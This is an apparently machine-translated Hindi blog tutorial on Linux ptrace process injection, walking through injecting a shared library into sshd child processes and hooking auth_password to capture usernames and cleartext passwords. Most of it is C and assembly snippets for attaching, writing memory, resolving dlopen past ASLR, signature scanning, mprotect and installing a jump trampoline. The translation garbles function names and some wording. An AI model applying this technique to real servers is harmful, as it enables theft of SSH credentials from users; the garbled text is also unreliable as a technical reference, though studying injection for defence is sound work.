मैंने जो लक्ष्य निर्धारित किया था वह बहुत सरल था: ptrace का उपयोग करके sshd में दर्ज किए गए पासवर्ड को जानने के लिए। बेशक, यह कुछ हद तक कृत्रिम कार्य है, क्योंकि कई अन्य हैं, अधिक प्रभावी, आप जो चाहते हैं उसे प्राप्त करने के तरीके (और SEGV प्राप्त करने की बहुत कम संभावना के साथ), हालांकि, यह मुझे ऐसा करने के लिए अच्छा लग रहा था।

Ptrace क्या है?

जो लोग विंडोज पर इंजेक्शन से परिचित हैं, वे शायद VirtualAllocEx() , WriteProcessMemory() , ReadProcessMemory() और CreateRemoteThread() कार्यों को जानते हैं। ये कॉल आपको स्मृति आवंटित करने और थ्रेड को किसी अन्य प्रक्रिया में प्रारंभ करने की अनुमति देते हैं। लिनक्स की दुनिया में, कर्नेल हमें ptrace प्रदान करता है, जिसके लिए ptrace रनिंग प्रक्रिया के साथ बातचीत कर सकते हैं।

उदाहरण के लिए Ptrace कई उपयोगी डिबगिंग ऑपरेशन प्रदान करता है:

• PTRACE_ATTACH - आपको डीबग की गई प्रक्रिया को रोककर एकल प्रक्रिया में शामिल होने की अनुमति देता है
• PTRACE_PEEKTEXT - आपको किसी अन्य प्रक्रिया के पता स्थान से डेटा पढ़ने की अनुमति देता है
• PTRACE_POKETEXT - आपको किसी अन्य प्रक्रिया के पता स्थान पर डेटा लिखने की अनुमति देता है
• PTRACE_GETREGS - प्रक्रिया रजिस्टरों की वर्तमान स्थिति को पढ़ता है
• PTRACE_SETREGS - प्रक्रिया रजिस्टरों की स्थिति को रिकॉर्ड करता है
• PTRACE_CONT - डीबग की गई प्रक्रिया का निष्पादन जारी रखता है

हालाँकि यह ptrace फीचर्स की पूरी सूची नहीं है, हालाँकि, मैं Win32 से परिचित कार्यों की कमी के कारण मुश्किलों में घिर गया। उदाहरण के लिए, विंडोज पर, आप VirtualAllocEx() फ़ंक्शन का उपयोग करके किसी अन्य प्रक्रिया में मेमोरी आवंटित कर सकते हैं, जो कि नई आवंटित मेमोरी को एक पॉइंटर लौटाता है। चूंकि यह ptrace में मौजूद नहीं है, इसलिए यदि आपको अपना कोड किसी अन्य प्रक्रिया में एम्बेड करना है तो आपको सुधार करना होगा।

तो ठीक है, आइए इस बारे में सोचें कि कैसे पियर्स का उपयोग करके प्रक्रिया को नियंत्रित किया जाए।

Ptrace मूल बातें

पहली चीज जो हमें करनी चाहिए वह हमारे लिए ब्याज की प्रक्रिया में शामिल हो जाती है। ऐसा करने के लिए, बस PTRACE_ATTACH पैरामीटर के साथ ptrace को कॉल करें:

 ptrace(PTRACE_ATTACH, pid, NULL, NULL); 

ट्रैफिक जाम के रूप में यह कॉल सरल है, यह उस प्रक्रिया के पीआईडी ​​को स्वीकार करता है जिसे हम शामिल करना चाहते हैं। जब कॉल होता है, तो एक SIGSTOP सिग्नल भेजा जाता है, जो ब्याज की प्रक्रिया को रोकने के लिए बाध्य करता है।

शामिल होने के बाद, कुछ बदलने से पहले हम सभी रजिस्टरों की स्थिति को बचाने का एक कारण है। यह हमें बाद में कार्यक्रम को पुनर्स्थापित करने की अनुमति देगा:

 struct user_regs_struct oldregs; ptrace(PTRACE_GETREGS, pid, NULL, &oldregs); 

अगला, आपको एक जगह खोजने की आवश्यकता है जहां हम अपना कोड लिख सकते हैं। सबसे आसान तरीका मैप्स फ़ाइल से जानकारी निकालना है, जो प्रत्येक प्रक्रिया के लिए खरीद में पाया जा सकता है। उदाहरण के लिए, Ubuntu पर चल रही sshd प्रक्रिया पर "/ proc / PID / मैप्स" इस तरह दिखता है:



हमें निष्पादित करने के अधिकार के साथ आवंटित मेमोरी क्षेत्र को खोजने की आवश्यकता है (सबसे अधिक संभावना है कि "आर-एक्सपी")। जैसे ही हमें वह क्षेत्र मिल जाता है जो हमें सूट करता है, रजिस्टरों के अनुरूप, हम सामग्री को सहेजते हैं, ताकि बाद में हम काम को सही ढंग से बहाल कर सकें:

 ptrace(PTRACE_PEEKTEXT, pid, addr, NULL); 

Ptrace का उपयोग करके, आप निर्दिष्ट पते पर एक मशीन डेटा शब्द (x86 या 64 बिट्स x86_64 पर 32 बिट्स) पढ़ सकते हैं, अर्थात, अधिक डेटा पढ़ने के लिए, आपको पता बढ़ाते हुए कई कॉल करने की आवश्यकता है।

नोट: linux में, अन्य प्रक्रिया के एड्रेस स्पेस के साथ काम करने के लिए process_vm_readv () और process_vm_writev () भी है। हालाँकि, इस लेख में मैं ptrace के उपयोग के साथ रहूँगा। यदि आप कुछ अलग करना चाहते हैं, तो इन कार्यों के बारे में पढ़ना बेहतर है।

अब हम अपने पसंद के मेमोरी क्षेत्र का बैकअप ले चुके हैं, हम ओवरराइटिंग शुरू कर सकते हैं:

 ptrace(PTRACE_POKETEXT, pid, addr, word); 

PTRACE_PEEKTEXT की तरह, यह कॉल निर्दिष्ट पते पर एक समय में केवल एक मशीन शब्द रिकॉर्ड कर सकती है। इसके अलावा, एक से अधिक मशीन शब्द लिखने पर कई कॉल की आवश्यकता होगी।

अपना कोड लोड करने के बाद, आपको उस पर नियंत्रण स्थानांतरित करना होगा। स्मृति में डेटा को अधिलेखित नहीं करने के लिए (उदाहरण के लिए, स्टैक), हम पहले सहेजे गए रजिस्टरों का उपयोग करेंगे:

 struct user_regs_struct r; memcpy(&r, &oldregs, sizeof(struct user_regs_struct)); // Update RIP to point to our injected code regs.rip = addr_of_injected_code; ptrace(PTRACE_SETREGS, pid, NULL, &r); 

अंत में, हम PTRACE_CONT के साथ निष्पादन जारी रख सकते हैं:

 ptrace(PTRACE_CONT, pid, NULL, NULL); 

लेकिन हमें कैसे पता चलेगा कि हमारे कोड ने निष्पादन समाप्त कर दिया है? हम एक सॉफ्टवेयर इंटरप्ट का उपयोग करेंगे, जिसे "int 0x03" निर्देश के रूप में भी जाना जाता है जो SIGTRAP उत्पन्न करता है। हम वेटपिड के साथ इसका इंतजार करेंगे ():

 waitpid(pid, &status, WUNTRACED); 

प्रतीक्षापिड () - एक अवरोधक कॉल जो पीआईडी ​​पहचानकर्ता के साथ प्रक्रिया को रोकने के लिए प्रतीक्षा करेगा और स्थिति चर के लिए रोक का कारण लिखेगा। यहाँ, वैसे, मैक्रोज़ का एक समूह है जो स्टॉप के कारण का पता लगाने में जीवन को आसान बनाता है।

यह पता लगाने के लिए कि एसआईजीटीआरएपी (इंट 0x03 पर कॉल करने के कारण) के कारण कोई रोक था, हम यह कर सकते हैं:

 waitpid(pid, &status, WUNTRACED); if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) { printf("SIGTRAP received\n"); } 

इस बिंदु पर, हमारे एम्बेडेड कोड को पहले ही निष्पादित किया जा चुका है और हमें जो भी करने की आवश्यकता है वह प्रक्रिया को उसकी मूल स्थिति में पुनर्स्थापित करना है। सभी रजिस्टर पुनर्स्थापित करें:

 ptrace(PTRACE_SETREGS, pid, NULL, &origregs); 

फिर हम मूल डेटा को मेमोरी में वापस करेंगे:

 ptrace(PTRACE_POKETEXT, pid, addr, word); 

और प्रक्रिया से डिस्कनेक्ट करें:

 ptrace(PTRACE_DETACH, pid, NULL, NULL); 

यह पर्याप्त सिद्धांत है। आइए अधिक दिलचस्प भाग पर चलते हैं।

Sshd इंजेक्शन

मुझे चेतावनी देनी है कि sshd छोड़ने का कुछ मौका है, इसलिए सावधान रहें और कृपया कार्य प्रणाली और विशेष रूप से दूरस्थ प्रणाली पर SSH: D के माध्यम से इसे जांचने की कोशिश न करें।

इसके अलावा, एक ही परिणाम प्राप्त करने के कई बेहतर तरीके हैं, मैं इसे केवल एक मजेदार तरीके से प्रदर्शित करता हूं कि पियर्स की शक्ति दिखाने के लिए एक मजेदार तरीका है (सहमत हूं कि यह हैलो वर्ल्ड में इंजेक्शन लगाने से बेहतर है;)

केवल एक चीज जो मैं करना चाहता था, उपयोगकर्ता द्वारा प्रमाणित होने पर sshd चलाने से लॉगिन-पासवर्ड संयोजन प्राप्त करना था। स्रोत कोड देखते समय, हम कुछ इस तरह देख सकते हैं:

Auth-passwd.c

 /* * Tries to authenticate the user using password. Returns true if * authentication succeeds. */ int auth_password(Authctxt *authctxt, const char *password) { ... } 

यह स्पष्ट पाठ में उपयोगकर्ता द्वारा प्रेषित उपयोगकर्ता नाम / पासवर्ड को हटाने की कोशिश करने के लिए एक शानदार जगह की तरह दिखता है।

हम एक फ़ंक्शन हस्ताक्षर ढूंढना चाहते हैं जो हमें मेमोरी में इसके [फ़ंक्शन] को खोजने की अनुमति देगा। मैं अपने पसंदीदा disassembly उपयोगिता का उपयोग करता हूं, radare2:



यह बाइट्स के एक क्रम को खोजने के लिए आवश्यक है जो अद्वितीय है और केवल Cort_password फ़ंक्शन में होता है। ऐसा करने के लिए, हम खोज का उपयोग radare2 में करेंगे:



ऐसा हुआ कि अनुक्रम xor rdx, rdx; cmp rax, 0x400 xor rdx, rdx; cmp rax, 0x400 हमारी आवश्यकताओं को पूरा करता है और पूरे ELF फ़ाइल में केवल एक बार पाया जाता है।

एक नोट के रूप में ... यदि आपके पास यह अनुक्रम नहीं है, तो सुनिश्चित करें कि आपके पास नवीनतम संस्करण है, जो 2016 के मध्य तक भेद्यता को बंद कर देता है (संस्करण 7.6 में, यह क्रम भी अद्वितीय है - लगभग प्रति।)

अगला चरण कोड इंजेक्शन है।

डाउनलोड .so से sshd

हमारे कोड को sshd में लोड करने के लिए, हम एक छोटा स्टब बनाएंगे, जो हमें dlopen () को कॉल करने और एक डायनामिक लाइब्रेरी को लोड करने की अनुमति देगा जो पहले से ही "od_password" के प्रतिस्थापन को लागू करेगा।

dlopen () डायनेमिक लिंकिंग के लिए एक कॉल है, जो तर्कों में डायनामिक लाइब्रेरी के लिए रास्ता लेता है और इसे कॉलिंग प्रोसेस के एड्रेस स्पेस में लोड करता है। यह फ़ंक्शन libdl.so में स्थित है, जो गतिशील रूप से एप्लिकेशन से लिंक करता है।

सौभाग्य से, हमारे मामले में, libdl.so पहले से ही sshd में लोड है, इसलिए हमें बस dlopen () निष्पादित करना होगा। हालाँकि, ASLR के कारण , यह बहुत कम संभावना है कि dlopen () हर बार एक ही जगह पर होगा, इसलिए आपको sshd मेमोरी में इसका पता लगाना होगा।

फ़ंक्शन का पता खोजने के लिए, आपको ऑफ़सेट की गणना करने की आवश्यकता है - ड्लोपेन () फ़ंक्शन के पते और libdl.so के शुरुआती पते के बीच अंतर:

 unsigned long long libdlAddr, dlopenAddr; libdlAddr = (unsigned long long)dlopen("libdl.so", RTLD_LAZY); dlopenAddr = (unsigned long long)dlsym(libdlAddr, "dlopen"); printf("Offset: %llx\n", dlopenAddr - libdlAddr); 

अब जब हमने ऑफसेट की गणना की है, तो हमें मानचित्र फ़ाइल से libdl.so के शुरुआती पते को खोजने की आवश्यकता है:



Sshd में libdl.so का आधार पता (0x7f0490a0d000, ऊपर दिए गए स्क्रीनशॉट से निम्नानुसार) जानकर, हम एक ऑफसेट जोड़ सकते हैं और इंजेक्शन कोड से कॉल करने के लिए पता dlopen () प्राप्त कर सकते हैं।

हम PTRACE_SETREGS का उपयोग करके रजिस्टरों के माध्यम से सभी आवश्यक पते पास करेंगे।

उदाहरण के लिए, sshd पता स्थान में प्रत्यारोपित पुस्तकालय के लिए रास्ता लिखना भी आवश्यक है:

 void ptraceWrite(int pid, unsigned long long addr, void *data, int len) { long word = 0; int i = 0; for (i=0; i < len; i+=sizeof(word), word=0) { memcpy(&word, data + i, sizeof(word)); if (ptrace(PTRACE_POKETEXT, pid, addr + i, word)) == -1) { printf("[!] Error writing process memory\n"); exit(1); } } } ptraceWrite(pid, (unsigned long long)freeaddr, "/tmp/inject.so\x00", 16) 

इंजेक्शन की तैयारी के दौरान जितना संभव हो सके और सीधे रजिस्टरों में तर्कों को इंगित करने के लिए लोड करके, हम इंजेक्शन कोड को आसान बना सकते हैं। उदाहरण के लिए:

 // Update RIP to point to our code, which will be just after // our injected library name string regs.rip = (unsigned long long)freeaddr + DLOPEN_STRING_LEN + NOP_SLED_LEN; // Update RAX to point to dlopen() regs.rax = (unsigned long long)dlopenAddr; // Update RDI to point to our library name string regs.rdi = (unsigned long long)freeaddr; // Set RSI as RTLD_LAZY for the dlopen call regs.rsi = 2; // RTLD_LAZY // Update the target process registers ptrace(PTRACE_SETREGS, pid, NULL, &regs); 

यही है, कोड इंजेक्शन काफी सरल है:

 ; RSI set as value '2' (RTLD_LAZY) ; RDI set as char* to shared library path ; RAX contains the address of dlopen call rax int 0x03 

यह हमारी गतिशील लाइब्रेरी बनाने का समय है, जिसे इंजेक्शन कोड के साथ लोड किया जाएगा।

इससे पहले कि हम आगे बढ़ें, एक महत्वपूर्ण बात पर विचार करें जिसका उपयोग किया जाएगा ... गतिशील पुस्तकालय निर्माता।

गतिशील पुस्तकालयों में कंस्ट्रक्टर

डायनामिक लाइब्रेरी लोड होने पर कोड निष्पादित कर सकती हैं। ऐसा करने के लिए, डिकोडर "__attribute __ ((कंस्ट्रक्टर))" के साथ कार्यों को चिह्नित करें। उदाहरण के लिए:

 #include <stdio.h> void __attribute__((constructor)) test(void) { printf("Library loaded on dlopen()\n"); } 

आप एक साधारण कमांड का उपयोग करके कॉपी कर सकते हैं:

 gcc -o test.so --shared -fPIC test.c 

और फिर प्रदर्शन की जाँच करें:

 dlopen("./test.so", RTLD_LAZY); 

जब पुस्तकालय लोड होता है, तो निर्माणकर्ता को भी बुलाया जाएगा:



किसी अन्य प्रक्रिया के पते स्थान में कोड इंजेक्ट करते समय हम अपने जीवन को आसान बनाने के लिए भी इस कार्यक्षमता का उपयोग करते हैं।

Sshd गतिशील पुस्तकालय

अब जब हमारे पास अपनी डायनेमिक लाइब्रेरी को लोड करने का अवसर है, तो हमें एक ऐसा कोड बनाने की आवश्यकता है जो रनटाइम के दौरान dif_password () के व्यवहार को बदल देगा।

जब हमारी डायनेमिक लाइब्रेरी लोड हो जाती है, तो हम फाइल का उपयोग करके sshd स्टार्ट एड्रेस पा सकते हैं। हम "rx" अनुमतियों के साथ एक क्षेत्र की तलाश कर रहे हैं, जिसमें हम एक विशिष्ट क्रम के लिए देख लेंगे, जिसमें__शब्द ():

 d = fopen("/proc/self/maps", "r"); while(fgets(buffer, sizeof(buffer), fd)) { if (strstr(buffer, "/sshd") && strstr(buffer, "rx")) { ptr = strtoull(buffer, NULL, 16); end = strtoull(strstr(buffer, "-")+1, NULL, 16); break; } } 

चूंकि हमारे पास खोजने के लिए कई प्रकार के पते हैं, हम एक फ़ंक्शन की तलाश कर रहे हैं:

 const char *search = "\x31\xd2\x48\x3d\x00\x04\x00\x00"; while(ptr < end) { // ptr[0] == search[0] added to increase performance during searching // no point calling memcmp if the first byte doesn't match our signature. if (ptr[0] == search[0] && memcmp(ptr, search, 9) == 0) { break; } ptr++; } 

जब हम एक मैच पाते हैं, तो आपको मेमोरी क्षेत्र पर अनुमतियों को बदलने के लिए mprotect () का उपयोग करना होगा। यह सब इसलिए है क्योंकि मेमोरी क्षेत्र पठनीय और निष्पादन योग्य है, और चलते-फिरते बदलाव के लिए लिखने की अनुमति आवश्यक है:

 mprotect((void*)(((unsigned long long)ptr / 4096) * 4096), 4096*2, PROT_READ | PROT_WRITE | PROT_EXEC) 

ठीक है, हमें वांछित मेमोरी क्षेत्र में लिखने का अधिकार है और अब ओटर_पासवर्ड फ़ंक्शन की शुरुआत में एक छोटा स्प्रिंगबोर्ड जोड़ने का समय है, जो हुक को नियंत्रित करेगा:

 char jmphook[] = "\x48\xb8\x48\x47\x46\x45\x44\x43\x42\x41\xff\xe0"; 

यह इस कोड के बराबर है:

 mov rax, 0x4142434445464748 jmp rax 

बेशक, पता 0x4142434445464748 हमारे लिए उपयुक्त नहीं है और इसे हमारी आवाज के पते से बदल दिया जाएगा:

 *(unsigned long long *)((char*)jmphook+2) = &passwd_hook; 

अब हम बस अपने स्प्रिंगबोर्ड को sshd में सम्मिलित कर सकते हैं। इंजेक्शन को सुंदर और साफ बनाने के लिए, फंक्शन की शुरुआत में स्प्रिंगबोर्ड डालें:

 // Step back to the start of the function, which is 32 bytes // before our signature ptr -= 32; memcpy(ptr, jmphook, sizeof(jmphook)); 

अब हमें एक हुक लागू करना होगा जो पासिंग डेटा के लॉगिंग से निपटेगा। हमें यह सुनिश्चित करना चाहिए कि हमने हुक शुरू होने से पहले सभी रजिस्टरों को सहेज लिया है और मूल कोड पर लौटने से पहले बहाल कर दिया है:


खैर, यह सब ... एक तरह से ...

दुर्भाग्य से, आखिरकार जो किया गया है, यह सब नहीं है। भले ही sshd कोड इंजेक्शन विफल हो गया हो, आप यह देख सकते हैं कि आप जिस उपयोगकर्ता पासवर्ड की तलाश कर रहे हैं वह अभी भी उपलब्ध नहीं है। यह इस तथ्य के कारण है कि प्रत्येक कनेक्शन के लिए sshd एक नया बच्चा बनाता है। यह नया बच्चा है जो कनेक्शन को संसाधित करता है और यह उसके अंदर है कि हमें हुक सेट करना होगा।

यह सुनिश्चित करने के लिए कि हम sshd बच्चों के साथ काम कर रहे हैं, मैंने डेटा फ़ाइलों के लिए procfs को स्कैन करने का निर्णय लिया है जो पेरेंट PID sshd निर्दिष्ट करते हैं। जैसे ही ऐसी प्रक्रिया मिलती है, उसके लिए इंजेक्टर शुरू हो जाता है।

इसके और भी फायदे हैं। यदि सब कुछ गलत हो जाता है और कोड इंजेक्शन SIGSEGV से गिरता है, तो केवल एक उपयोगकर्ता की प्रक्रिया को मार दिया जाएगा, न कि मूल sshd प्रक्रिया को। सबसे बड़ी सांत्वना नहीं, लेकिन यह स्पष्ट रूप से डिबगिंग को आसान बनाता है।

कार्रवाई में इंजेक्शन

ठीक है, चलो डेमो देखें:



पूर्ण कोड यहां पाया जा सकता है ।

मुझे उम्मीद है कि इस यात्रा ने आपको खुद पॉट्रेस को पोक करने के लिए पर्याप्त जानकारी दी है।

मैं निम्नलिखित लोगों और साइटों को धन्यवाद देना चाहता हूं जिन्होंने ptrace से निपटने में मदद की:

• Gaffe23 डायनेमिक लाइब्रेरी इंजेक्शन टूलकिट
• महान ईविलसकेट इंजेक्शन काम